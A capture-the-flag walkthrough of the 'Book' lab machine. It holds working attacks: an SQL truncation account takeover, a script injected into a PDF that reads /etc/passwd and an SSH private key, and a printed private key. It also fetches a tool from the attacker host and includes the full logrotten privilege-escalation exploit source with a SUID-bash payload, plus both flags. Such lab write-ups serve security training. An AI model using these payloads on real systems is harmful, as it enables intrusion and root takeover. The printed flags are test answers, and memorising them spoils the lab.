Book

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.176 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Fri Mar 31 09:55:44 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.046s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri Mar 31 09:55:57 2023 -- 1 IP address (1 host up) scanned in 13.41 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.176 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Fri Mar 31 09:56:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7fc5799f682e003d603bc09430155b7 (RSA)
| 256 a3e5d174c48ae8c852c717834a5431bd (ECDSA)
|_ 256 e3626872e2c0ae46673dcb46bf69b96a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: LIBRARY - Read | Learn | Have Fun
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 09:56:27 2023 -- 1 IP address (1 host up) scanned in 8.24 seconds
Let's start by enumerating subdirectories and pages with gobuster.
gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200
dir
enumerates directories or files.-u
the target URL.-w
path to the wordlist.-t
number of current threads, in this case 200 threads.
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.176
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2023/03/31 09:58:05 Starting gobuster in directory enumeration mode
===============================================================
/profile.php (Status: 302) [Size: 0] [--> index.php]
/docs (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/]
/books.php (Status: 302) [Size: 0] [--> index.php]
/feedback.php (Status: 302) [Size: 0] [--> index.php]
/admin (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
/home.php (Status: 302) [Size: 0] [--> index.php]
/db.php (Status: 200) [Size: 0]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/images (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
/download.php (Status: 302) [Size: 0] [--> index.php]
/contact.php (Status: 302) [Size: 0] [--> index.php]
/.php (Status: 403) [Size: 277]
/search.php (Status: 302) [Size: 0] [--> index.php]
/index.php (Status: 200) [Size: 6800]
/collections.php (Status: 302) [Size: 0] [--> index.php]
/settings.php (Status: 302) [Size: 0] [--> index.php]
/.php (Status: 403) [Size: 277]
Progress: 262992 / 262995 (100.00%)
===============================================================
2023/03/31 09:59:46 Finished
===============================================================
The index.php
page shows a login page where we can register a user.

Let's create a user and log into the website.

Once logged in, we'll see different sections. In the Contact Us section, we'll see the email of the admin user.

We can also modify our profile from View Profile
.

From here we can change our username. Note that if we try to change our username to something like 123456789101112131415
, it will get chopt to 10 characters.

Exploitation
This feature could lead to a SQL Truncation vulnerability. The idea is to register a new user with the email admin@book.htb .
, so when it gets trimmed, The email will be admin@book.htb
, and we'll be able to log in as admin
. Create a new account with the name admin, the email admin@book.htb, and the password admin123.

Intercept the request with BurpSuite. Add some +
characters, which are spaces base64 encoded, and a character at the end of the email parameter. Note the .
characters after the +
.

As the email gets trimmed, we just registered the admin
user with the admin123
password. Log in with those credentials.

Now we are logged in as the admin
user.

And these credentials are also valid for the login page in the /admin
directory.

In the /admin/collection.php
we can see a link to a PDF.

This PDF file contains a list with all the available collections.

We could try to inject a malicious payload into the dynamic PDF file generated from the /collections.php
page. As the title of the collection is represented in the dynamic PDF, we could inject some code into the title, which will show the content of a file. In this case, we could start by listing the content of the /etc/passwd
file. Inject the following code in the Book Title field and submit it together with a sample PDF file.
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>"+this.responseText)+"</pre>"};
x.open("GET","file:///etc/passwd");x.send();
</script>

If we download again the collections PDF file from /admin/collections.php
, we'll see the content of the /etc/passwd
file.

Notice there is a user called reader
. As port 22 is open, let's try to get his private SSH key.
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>"+this.responseText)+"</pre>"};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

Download the collections PDF again, and view the id_rsa
key.

Copy and paste the key into the id_rsa
file in our local system, give it the right permissions
micro id_rsa && chmod 600 id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----
Get a shell as reader
, and then we'll be able to grab the user flag.
ssh -i id_rsa reader@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 31 16:11:58 UTC 2023
System load: 0.01 Processes: 211
Usage of /: 52.5% of 5.77GB Users logged in: 0
Memory usage: 12% IP address for ens160: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
109 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$ whoami
reader
reader@book:~$ cat user.txt
1d5cdb229e4d55a9afab32881d8f6d63
Privilege Escalation
There is a directory called backups
in the home directory of the reader
user.
ls -l /home/reader
total 8
drwxr-xr-x 2 reader reader 4096 Jul 20 2021 backups
-r-------- 1 reader reader 33 Mar 31 15:13 user.txt
Which contains a few log files.
ls -la /home/reader/backups/
total 12
drwxr-xr-x 2 reader reader 4096 Jul 20 2021 .
drwxr-xr-x 6 reader reader 4096 Mar 31 16:11 ..
-rw-r--r-- 1 reader reader 0 Jan 29 2020 access.log
-rw-r--r-- 1 reader reader 91 Jan 29 2020 access.log.1
Maybe there is some kind of background jobs generating them. Let's upload pspy64 to the machine, and see the background processes. Set a simple HTTP server where the pspy64 binary is located.
python -m http.server 80
And download it from the /dev/shm
directory.
cd /dev/shm
wget http://10.10.14.6/pspy64
chmod +x pspy64
Run the binary to check the processes.
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
...
2023/03/31 16:22:24 CMD: UID=0 PID=14569 | /usr/sbin/logrotate -f /root/log.cfg
...
As we can see, root is running the logrotate binary. As we can see, there is an exploit which allows privilege escalation. First, we need to create the payload
file, with bash code that will give the /bin/bash
binary SUID privileges.
nano /dev/shm/payload
#!/bin/bash
if [ `id -u` -eq 0 ]; then (chmod u+s /bin/bash); fi
Now copy and paste the code from the exploit into the logrotate.c
file.
nano logrotate.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
#define PROGNAME "logrotten"
void usage(const char* progname)
{
printf("usage: %s [OPTION...] <logfile>\n",progname);
printf(" %-3s %-22s %-30s\n","-h","--help","Print this help");
printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}
int main(int argc, char* argv[] )
{
int length, i = 0;
int j = 0;
int index = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
uint32_t imask = IN_MOVED_FROM;
char *payloadfile = NULL;
char *logfile = NULL;
char *targetdir = NULL;
char *logpath;
char *logpath2;
char *targetpath;
int debug = 0;
int sleeptime = 1;
char ch;
const char *p;
FILE *source, *target;
int c;
while(1)
{
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"payloadfile", required_argument, 0, 0},
{"targetdir", required_argument, 0, 0},
{"sleep", required_argument, 0, 0},
{"help", no_argument, 0, 0},
{"open", no_argument, 0, 0},
{"debug", no_argument, 0, 0},
{"compress", no_argument, 0, 0},
{0,0,0,0}
};
c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
if (c == -1)
break;
switch(c)
{
case 'p':
payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
memset(payloadfile,'\0',strlen(optarg)+1);
strncpy(payloadfile,optarg,strlen(optarg));
break;
case 't':
targetdir = alloca((strlen(optarg)+1)*sizeof(char));
memset(targetdir,'\0',strlen(optarg)+1);
strncpy(targetdir,optarg,strlen(optarg));
break;
case 'h':
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
case 'd':
debug = 1;
break;
case 'o':
imask = IN_OPEN;
break;
case 'c':
imask = IN_OPEN;
break;
case 's':
sleeptime = atoi(optarg);
break;
default:
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
}
}
if(argc == (optind+1))
{
logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
memset(logfile,'\0',strlen(argv[optind])+1);
strncpy(logfile,argv[optind],strlen(argv[optind]));
}
else
{
usage(PROGNAME);
exit(EXIT_FAILURE);
}
for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
index = j+1;
p = &logfile[index];
logpath = alloca(strlen(logfile)*sizeof(char));
logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
if(targetdir != NULL)
{
targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
strcat(targetpath,targetdir);
}
else
{
targetdir= TARGETDIR;
targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
targetpath[0] = '\0';
strcat(targetpath,TARGETDIR);
}
strcat(targetpath,"/");
strcat(targetpath,p);
for(j = 0; j < index; j++)
logpath[j] = logfile[j];
logpath[j-1] = '\0';
strcpy(logpath2,logpath);
logpath2[strlen(logpath)] = '2';
logpath2[strlen(logpath)+1] = '\0';
/*creating the INOTIFY instance*/
fd = inotify_init();
if( debug == 1)
{
printf("logfile: %s\n",logfile);
printf("logpath: %s\n",logpath);
printf("logpath2: %s\n",logpath2);
printf("targetpath: %s\n",targetpath);
printf("targetdir: %s\n",targetdir);
printf("p: %s\n",p);
}
/*checking for error*/
if ( fd < 0 ) {
perror( "inotify_init" );
}
wd = inotify_add_watch( fd,logpath, imask );
printf("Waiting for rotating %s...\n",logfile);
while(1)
{
i=0;
length = read( fd, buffer, EVENT_BUF_LEN );
while (i < length) {
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) {
if ( event->mask & imask ) {
if(strcmp(event->name,p) == 0)
{
rename(logpath,logpath2);
symlink(targetdir,logpath);
printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
if(payloadfile != NULL)
{
printf("Waiting %d seconds before writing payload...\n",sleeptime);
sleep(sleeptime);
source = fopen(payloadfile, "r");
if(source == NULL)
exit(EXIT_FAILURE);
target = fopen(targetpath, "w");
if(target == NULL)
{
fclose(source);
exit(EXIT_FAILURE);
}
while ((ch = fgetc(source)) != EOF)
fputc(ch, target);
chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
fclose(source);
fclose(target);
}
inotify_rm_watch( fd, wd );
close( fd );
printf("Done!\n");
exit(EXIT_SUCCESS);
}
}
}
i += EVENT_SIZE + event->len;
}
}
/*removing from the watch list.*/
inotify_rm_watch( fd, wd );
/*closing the INOTIFY instance*/
close( fd );
exit(EXIT_SUCCESS);
}
Compile the code.
gcc -o logrotate logrotate.c
Run the following command.
./logrotate -p ./payload /home/reader/backups/access.log
Inject some text into the access.log
file to trigger the exploit.
echo rooted > /home/reader/backups/access.log
Now the /bin/bash
binary has SUID permissions.
ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bash
Finally, get a shell as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
17449776536a015800fa95cd7c54bbc9
Last updated
Was this helpful?